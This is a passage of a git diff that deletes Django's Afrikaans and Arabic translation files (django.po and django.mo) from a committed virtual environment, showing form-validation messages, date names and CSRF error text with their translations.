[HH:[MM:]]ss[.uuuuuu] wees." - -msgid "Duration" -msgstr "Duur" - -msgid "Email address" -msgstr "E-posadres" - -msgid "File path" -msgstr "Lêerpad" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Die waarde “%(value)s” moet ’n dryfpuntgetal wees." - -msgid "Floating point number" -msgstr "Dryfpuntgetal" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Die waarde “%(value)s” moet ’n heelgetal wees." - -msgid "Integer" -msgstr "Heelgetal" - -msgid "Big (8 byte) integer" -msgstr "Groot (8 greep) heelgetal" - -msgid "Small integer" -msgstr "Klein heelgetal" - -msgid "IPv4 address" -msgstr "IPv4-adres" - -msgid "IP address" -msgstr "IP-adres" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s”-waarde moet een wees uit None, True of False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boole (True, False, of None)" - -msgid "Positive big integer" -msgstr "Positiewe groot heelgetal" - -msgid "Positive integer" -msgstr "Positiewe heelgetal" - -msgid "Positive small integer" -msgstr "Klein positiewe heelgetal" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (tot en met %(max_length)s karakters)" - -msgid "Text" -msgstr "Teks" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s”-waarde het ’n ongeldige formaat. Dit moet geformateer word as HH:" -"MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Die waarde “%(value)s” het die regte formaat (HH:MM[:ss[.uuuuuu]]) maar is " -"nie ’n geldige tyd nie." - -msgid "Time" -msgstr "Tyd" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Rou binêre data" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” is nie ’n geldige UUID nie." - -msgid "Universally unique identifier" -msgstr "Universeel unieke identifiseerder" - -msgid "File" -msgstr "Lêer" - -msgid "Image" -msgstr "Prent" - -msgid "A JSON object" -msgstr "’n JSON-objek" - -msgid "Value must be valid JSON." -msgstr "Waarde moet geldige JSON wees." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "%(model)s-objek met %(field)s %(value)r is nie ’n geldige keuse nie." - -msgid "Foreign Key (type determined by related field)" -msgstr "Vreemde sleutel (tipe bepaal deur verwante veld)" - -msgid "One-to-one relationship" -msgstr "Een-tot-een-verhouding" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s-verwantskap" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s-verwantskappe" - -msgid "Many-to-many relationship" -msgstr "Baie-tot-baie-verwantskap" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Dié veld is verpligtend." - -msgid "Enter a whole number." -msgstr "Tik ’n heelgetal in." - -msgid "Enter a valid date." -msgstr "Tik ’n geldige datum in." - -msgid "Enter a valid time." -msgstr "Tik ’n geldige tyd in." - -msgid "Enter a valid date/time." -msgstr "Tik ’n geldige datum/tyd in." - -msgid "Enter a valid duration." -msgstr "Tik ’n geldige tydsduur in." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Die aantal dae moet tussen {min_days} en {max_days} wees." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Geen lêer is ingedien nie. Maak seker die koderingtipe op die vorm is reg." - -msgid "No file was submitted." -msgstr "Geen lêer is ingedien nie." - -msgid "The submitted file is empty." -msgstr "Die ingediende lêer is leeg." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Maak seker hierdie lêernaam het hoogstens %(max)d karakter (dit het " -"%(length)d)." -msgstr[1] "" -"Maak seker hierdie lêernaam het hoogstens %(max)d karakters (dit het " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Dien die lêer in óf merk die Maak skoon-boksie, nie altwee nie." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Laai ’n geldige prent. Die lêer wat jy opgelaai het, is nie ’n prent nie of " -"dit is ’n korrupte prent." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Kies ’n geldige keuse. %(value)s is nie een van die beskikbare keuses nie." - -msgid "Enter a list of values." -msgstr "Tik ’n lys waardes in." - -msgid "Enter a complete value." -msgstr "Tik ’n volledige waarde in." - -msgid "Enter a valid UUID." -msgstr "Tik ’n geldig UUID in." - -msgid "Enter a valid JSON." -msgstr "Gee geldige JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Versteekte veld %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Dien asseblief hoogstens %(num)d vorm in." -msgstr[1] "Dien asseblief hoogstens %(num)d vorms in." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Dien asseblief ten minste %(num)d vorm in." -msgstr[1] "Dien asseblief ten minste %(num)d vorms in." - -msgid "Order" -msgstr "Orde" - -msgid "Delete" -msgstr "Verwyder" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Korrigeer die dubbele data vir %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Korrigeer die dubbele data vir %(field)s, dit moet uniek wees." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Korrigeer die dubbele data vir %(field_name)s, dit moet uniek wees vir die " -"%(lookup)s in %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Korrigeer die dubbele waardes hieronder." - -msgid "The inline value did not match the parent instance." -msgstr "Die waarde inlyn pas nie by die ouerobjek nie." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Kies ’n geldige keuse. Daardie keuse is nie een van die beskikbare keuses " -"nie." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” is nie ’n geldige waarde nie." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s kon nie in die tydsone %(current_timezone)s vertolk word nie; " -"dit is dalk dubbelsinnig, of bestaan dalk nie." - -msgid "Clear" -msgstr "Maak skoon" - -msgid "Currently" -msgstr "Tans" - -msgid "Change" -msgstr "Verander" - -msgid "Unknown" -msgstr "Onbekend" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nee" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ja,nee,miskien" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d greep" -msgstr[1] "%(size)d grepe" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "nm." - -msgid "a.m." -msgstr "vm." - -msgid "PM" -msgstr "NM" - -msgid "AM" -msgstr "VM" - -msgid "midnight" -msgstr "middernag" - -msgid "noon" -msgstr "middag" - -msgid "Monday" -msgstr "Maandag" - -msgid "Tuesday" -msgstr "Dinsdag" - -msgid "Wednesday" -msgstr "Woensdag" - -msgid "Thursday" -msgstr "Donderdag" - -msgid "Friday" -msgstr "Vrydag" - -msgid "Saturday" -msgstr "Saterdag" - -msgid "Sunday" -msgstr "Sondag" - -msgid "Mon" -msgstr "Ma" - -msgid "Tue" -msgstr "Di" - -msgid "Wed" -msgstr "Wo" - -msgid "Thu" -msgstr "Do" - -msgid "Fri" -msgstr "Vr" - -msgid "Sat" -msgstr "Sa" - -msgid "Sun" -msgstr "So" - -msgid "January" -msgstr "Januarie" - -msgid "February" -msgstr "Februarie" - -msgid "March" -msgstr "Maart" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Mei" - -msgid "June" -msgstr "Junie" - -msgid "July" -msgstr "Julie" - -msgid "August" -msgstr "Augustus" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Desember" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mrt" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mei" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sept" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "des" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Maart" - -msgctxt "abbrev. month" -msgid "April" -msgstr "April" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mei" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junie" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julie" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Des." - -msgctxt "alt. month" -msgid "January" -msgstr "Januarie" - -msgctxt "alt. month" -msgid "February" -msgstr "Februarie" - -msgctxt "alt. month" -msgid "March" -msgstr "Maart" - -msgctxt "alt. month" -msgid "April" -msgstr "April" - -msgctxt "alt. month" -msgid "May" -msgstr "Mei" - -msgctxt "alt. month" -msgid "June" -msgstr "Junie" - -msgctxt "alt. month" -msgid "July" -msgstr "Julie" - -msgctxt "alt. month" -msgid "August" -msgstr "Augustus" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "November" - -msgctxt "alt. month" -msgid "December" -msgstr "Desember" - -msgid "This is not a valid IPv6 address." -msgstr "Hierdie is nie ’n geldige IPv6-adres nie." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "of" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d jaar" -msgstr[1] "%(num)d jaar" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d maand" -msgstr[1] "%(num)d maande" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d week" -msgstr[1] "%(num)d weke" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dag" -msgstr[1] "%(num)d dae" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d uur" -msgstr[1] "%(num)d uur" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuut" -msgstr[1] "%(num)d minute" - -msgid "Forbidden" -msgstr "Verbode" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-verifikasie het misluk. Versoek is laat val." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"U sien hierdie boodskap omdat dié HTTPS-werf vereis dat u webblaaier ’n " -"“Referer header” moet stuur, maar dit is nie gestuur nie. Hierdie header is " -"vir sekuriteitsredes nodig om te verseker dat u blaaier nie deur derde " -"partye gekaap is nie." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"As “Referer headers” in u blaaier gedeaktiveer is, heraktiveer hulle asb. " -"ten minste vir dié werf, of vir HTTPS-verbindings, of vir “same-origin”-" -"versoeke." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Indien u die -etiket gebruik " -"of die “Referrer-Policy: no-referrer” header gebruik, verwyder hulle asb. " -"Die CSRF-beskerming vereis die “Referer” header om streng kontrole van die " -"verwysende bladsy te doen. Indien u besorg is oor privaatheid, gebruik " -"alternatiewe soos vir skakels na derdepartywebwerwe." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"U sien hierdie boodskap omdat dié werf ’n CSRF-koekie benodig wanneer vorms " -"ingedien word. Dié koekie word vir sekuriteitsredes benodig om te te " -"verseker dat u blaaier nie deur derde partye gekaap word nie." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Indien koekies in u blaaier gedeaktiveer is, aktiveerder hulle asb. ten " -"minste vir dié werf, of vir “same-origin”-versoeke." - -msgid "More information is available with DEBUG=True." -msgstr "Meer inligting is beskikbaar met DEBUG=True." - -msgid "No year specified" -msgstr "Geen jaar gespesifiseer nie" - -msgid "Date out of range" -msgstr "Datum buite omvang" - -msgid "No month specified" -msgstr "Geen maand gespesifiseer nie" - -msgid "No day specified" -msgstr "Geen dag gespesifiseer nie" - -msgid "No week specified" -msgstr "Geen week gespesifiseer nie" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Geen %(verbose_name_plural)s beskikbaar nie" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Toekomstige %(verbose_name_plural)s is nie beskikbaar nie, omdat " -"%(class_name)s.allow_future vals is." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Ongeldige datumstring “%(datestr)s” gegewe die formaat “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Geen %(verbose_name)s gevind vir die soektog" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Bladsy is nie “last” nie, en dit kan nie omgeskakel word na ’n heelgetal nie." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Ongeldige bladsy (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Leë lys en “%(class_name)s.allow_empty” is vals." - -msgid "Directory indexes are not allowed here." -msgstr "Gidsindekse word nie hier toegelaat nie." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” bestaan nie." - -#, python-format -msgid "Index of %(directory)s" -msgstr "Indeks van %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Die installasie was suksesvol! Geluk!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Sien die vrystellingsnotas vir Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"U sien dié bladsy omdat DEBUG=True in die settings-lêer is en geen URL’e " -"opgestel is nie." - -msgid "Django Documentation" -msgstr "Django-dokumentasie" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "Kom aan die gang met Django" - -msgid "Django Community" -msgstr "Django-gemeenskap" - -msgid "Connect, get help, or contribute" -msgstr "Kontak, kry hulp om dra by" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ar/LC_MESSAGES/django.mo deleted file mode 100644 index f0a04129..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ar/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ar/LC_MESSAGES/django.po deleted file mode 100644 index 25a491b5..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ar/LC_MESSAGES/django.po +++ /dev/null @@ -1,1389 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bashar Al-Abdulhadi, 2015-2016,2020-2021 -# Bashar Al-Abdulhadi, 2014 -# Eyad Toma , 2013-2014 -# Jannis Leidel , 2011 -# Mariusz Felisiak , 2021 -# Muaaz Alsaied, 2020 -# Omar Al-Ithawi , 2020 -# Ossama Khayat , 2011 -# Tony xD , 2020 -# صفا الفليج , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-24 16:27+0000\n" -"Last-Translator: Mariusz Felisiak \n" -"Language-Team: Arabic (http://www.transifex.com/django/django/language/ar/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ar\n" -"Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 " -"&& n%100<=10 ? 3 : n%100>=11 && n%100<=99 ? 4 : 5;\n" - -msgid "Afrikaans" -msgstr "الإفريقية" - -msgid "Arabic" -msgstr "العربيّة" - -msgid "Algerian Arabic" -msgstr "عربي جزائري" - -msgid "Asturian" -msgstr "الأسترية" - -msgid "Azerbaijani" -msgstr "الأذربيجانية" - -msgid "Bulgarian" -msgstr "البلغاريّة" - -msgid "Belarusian" -msgstr "البيلاروسية" - -msgid "Bengali" -msgstr "البنغاليّة" - -msgid "Breton" -msgstr "البريتونية" - -msgid "Bosnian" -msgstr "البوسنيّة" - -msgid "Catalan" -msgstr "الكتلانيّة" - -msgid "Czech" -msgstr "التشيكيّة" - -msgid "Welsh" -msgstr "الويلز" - -msgid "Danish" -msgstr "الدنماركيّة" - -msgid "German" -msgstr "الألمانيّة" - -msgid "Lower Sorbian" -msgstr "الصربية السفلى" - -msgid "Greek" -msgstr "اليونانيّة" - -msgid "English" -msgstr "الإنجليزيّة" - -msgid "Australian English" -msgstr "الإنجليزية الإسترالية" - -msgid "British English" -msgstr "الإنجليزيّة البريطانيّة" - -msgid "Esperanto" -msgstr "الاسبرانتو" - -msgid "Spanish" -msgstr "الإسبانيّة" - -msgid "Argentinian Spanish" -msgstr "الأسبانية الأرجنتينية" - -msgid "Colombian Spanish" -msgstr "الكولومبية الإسبانية" - -msgid "Mexican Spanish" -msgstr "الأسبانية المكسيكية" - -msgid "Nicaraguan Spanish" -msgstr "الإسبانية النيكاراغوية" - -msgid "Venezuelan Spanish" -msgstr "الإسبانية الفنزويلية" - -msgid "Estonian" -msgstr "الإستونيّة" - -msgid "Basque" -msgstr "الباسك" - -msgid "Persian" -msgstr "الفارسيّة" - -msgid "Finnish" -msgstr "الفنلنديّة" - -msgid "French" -msgstr "الفرنسيّة" - -msgid "Frisian" -msgstr "الفريزيّة" - -msgid "Irish" -msgstr "الإيرلنديّة" - -msgid "Scottish Gaelic" -msgstr "الغيلية الأسكتلندية" - -msgid "Galician" -msgstr "الجليقيّة" - -msgid "Hebrew" -msgstr "العبريّة" - -msgid "Hindi" -msgstr "الهندية" - -msgid "Croatian" -msgstr "الكرواتيّة" - -msgid "Upper Sorbian" -msgstr "الصربية العليا" - -msgid "Hungarian" -msgstr "الهنغاريّة" - -msgid "Armenian" -msgstr "الأرمنية" - -msgid "Interlingua" -msgstr "اللغة الوسيطة" - -msgid "Indonesian" -msgstr "الإندونيسيّة" - -msgid "Igbo" -msgstr "الإيبو" - -msgid "Ido" -msgstr "ايدو" - -msgid "Icelandic" -msgstr "الآيسلنديّة" - -msgid "Italian" -msgstr "الإيطاليّة" - -msgid "Japanese" -msgstr "اليابانيّة" - -msgid "Georgian" -msgstr "الجورجيّة" - -msgid "Kabyle" -msgstr "القبائل" - -msgid "Kazakh" -msgstr "الكازاخستانية" - -msgid "Khmer" -msgstr "الخمر" - -msgid "Kannada" -msgstr "الهنديّة (كنّادا)" - -msgid "Korean" -msgstr "الكوريّة" - -msgid "Kyrgyz" -msgstr "قيرغيز" - -msgid "Luxembourgish" -msgstr "اللوكسمبرجية" - -msgid "Lithuanian" -msgstr "اللتوانيّة" - -msgid "Latvian" -msgstr "اللاتفيّة" - -msgid "Macedonian" -msgstr "المقدونيّة" - -msgid "Malayalam" -msgstr "المايالام" - -msgid "Mongolian" -msgstr "المنغوليّة" - -msgid "Marathi" -msgstr "المهاراتية" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "البورمية" - -msgid "Norwegian Bokmål" -msgstr "النرويجية" - -msgid "Nepali" -msgstr "النيبالية" - -msgid "Dutch" -msgstr "الهولنديّة" - -msgid "Norwegian Nynorsk" -msgstr "النينورسك نرويجيّة" - -msgid "Ossetic" -msgstr "الأوسيتيكية" - -msgid "Punjabi" -msgstr "البنجابيّة" - -msgid "Polish" -msgstr "البولنديّة" - -msgid "Portuguese" -msgstr "البرتغاليّة" - -msgid "Brazilian Portuguese" -msgstr "البرتغاليّة البرازيليّة" - -msgid "Romanian" -msgstr "الرومانيّة" - -msgid "Russian" -msgstr "الروسيّة" - -msgid "Slovak" -msgstr "السلوفاكيّة" - -msgid "Slovenian" -msgstr "السلوفانيّة" - -msgid "Albanian" -msgstr "الألبانيّة" - -msgid "Serbian" -msgstr "الصربيّة" - -msgid "Serbian Latin" -msgstr "اللاتينيّة الصربيّة" - -msgid "Swedish" -msgstr "السويديّة" - -msgid "Swahili" -msgstr "السواحلية" - -msgid "Tamil" -msgstr "التاميل" - -msgid "Telugu" -msgstr "التيلوغو" - -msgid "Tajik" -msgstr "طاجيك" - -msgid "Thai" -msgstr "التايلنديّة" - -msgid "Turkmen" -msgstr "تركمان" - -msgid "Turkish" -msgstr "التركيّة" - -msgid "Tatar" -msgstr "التتاريية" - -msgid "Udmurt" -msgstr "الأدمرتية" - -msgid "Ukrainian" -msgstr "الأكرانيّة" - -msgid "Urdu" -msgstr "الأوردو" - -msgid "Uzbek" -msgstr "الأوزبكي" - -msgid "Vietnamese" -msgstr "الفيتناميّة" - -msgid "Simplified Chinese" -msgstr "الصينيّة المبسطة" - -msgid "Traditional Chinese" -msgstr "الصينيّة التقليدية" - -msgid "Messages" -msgstr "الرسائل" - -msgid "Site Maps" -msgstr "خرائط الموقع" - -msgid "Static Files" -msgstr "الملفات الثابتة" - -msgid "Syndication" -msgstr "توظيف النشر" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "رقم الصفحة هذا ليس عدداً طبيعياً" - -msgid "That page number is less than 1" -msgstr "رقم الصفحة أقل من 1" - -msgid "That page contains no results" -msgstr "هذه الصفحة لا تحتوي على نتائج" - -msgid "Enter a valid value." -msgstr "أدخِل قيمة صحيحة." - -msgid "Enter a valid URL." -msgstr "أدخِل رابطًا صحيحًا." - -msgid "Enter a valid integer." -msgstr "أدخِل عدداً طبيعياً." - -msgid "Enter a valid email address." -msgstr "أدخِل عنوان بريد إلكتروني صحيح." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "أدخل اختصار 'slug' صحيح يتكوّن من أحرف، أرقام، شرطات سفلية وعاديّة." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"أدخل اختصار 'slug' صحيح يتكون من أحرف Unicode أو أرقام أو شرطات سفلية أو " -"واصلات." - -msgid "Enter a valid IPv4 address." -msgstr "أدخِل عنوان IPv4 صحيح." - -msgid "Enter a valid IPv6 address." -msgstr "أدخِل عنوان IPv6 صحيح." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "أدخِل عنوان IPv4 أو عنوان IPv6 صحيح." - -msgid "Enter only digits separated by commas." -msgstr "أدخِل فقط أرقامًا تفصلها الفواصل." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "تحقق من أن هذه القيمة هي %(limit_value)s (إنها %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "تحقق من أن تكون هذه القيمة أقل من %(limit_value)s أو مساوية لها." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "تحقق من أن تكون هذه القيمة أكثر من %(limit_value)s أو مساوية لها." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[1] "" -"تأكد أن هذه القيمة تحتوي على حرف أو رمز %(limit_value)d على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[2] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف و رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[3] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[4] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[5] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[1] "" -"تأكد أن هذه القيمة تحتوي على حرف أو رمز %(limit_value)d على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[2] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف و رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[3] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[4] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[5] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." - -msgid "Enter a number." -msgstr "أدخل رقماً." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "تحقق من أن تدخل %(max)s أرقام لا أكثر." -msgstr[1] "تحقق من أن تدخل رقم %(max)s لا أكثر." -msgstr[2] "تحقق من أن تدخل %(max)s رقمين لا أكثر." -msgstr[3] "تحقق من أن تدخل %(max)s أرقام لا أكثر." -msgstr[4] "تحقق من أن تدخل %(max)s أرقام لا أكثر." -msgstr[5] "تحقق من أن تدخل %(max)s أرقام لا أكثر." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "تحقق من أن تدخل %(max)s خانات عشرية لا أكثر." -msgstr[1] "تحقق من أن تدخل خانة %(max)s عشرية لا أكثر." -msgstr[2] "تحقق من أن تدخل %(max)s خانتين عشريتين لا أكثر." -msgstr[3] "تحقق من أن تدخل %(max)s خانات عشرية لا أكثر." -msgstr[4] "تحقق من أن تدخل %(max)s خانات عشرية لا أكثر." -msgstr[5] "تحقق من أن تدخل %(max)s خانات عشرية لا أكثر." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "تحقق من أن تدخل %(max)s أرقام قبل الفاصل العشري لا أكثر." -msgstr[1] "تحقق من أن تدخل رقم %(max)s قبل الفاصل العشري لا أكثر." -msgstr[2] "تحقق من أن تدخل %(max)s رقمين قبل الفاصل العشري لا أكثر." -msgstr[3] "تحقق من أن تدخل %(max)s أرقام قبل الفاصل العشري لا أكثر." -msgstr[4] "تحقق من أن تدخل %(max)s أرقام قبل الفاصل العشري لا أكثر." -msgstr[5] "تحقق من أن تدخل %(max)s أرقام قبل الفاصل العشري لا أكثر." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." 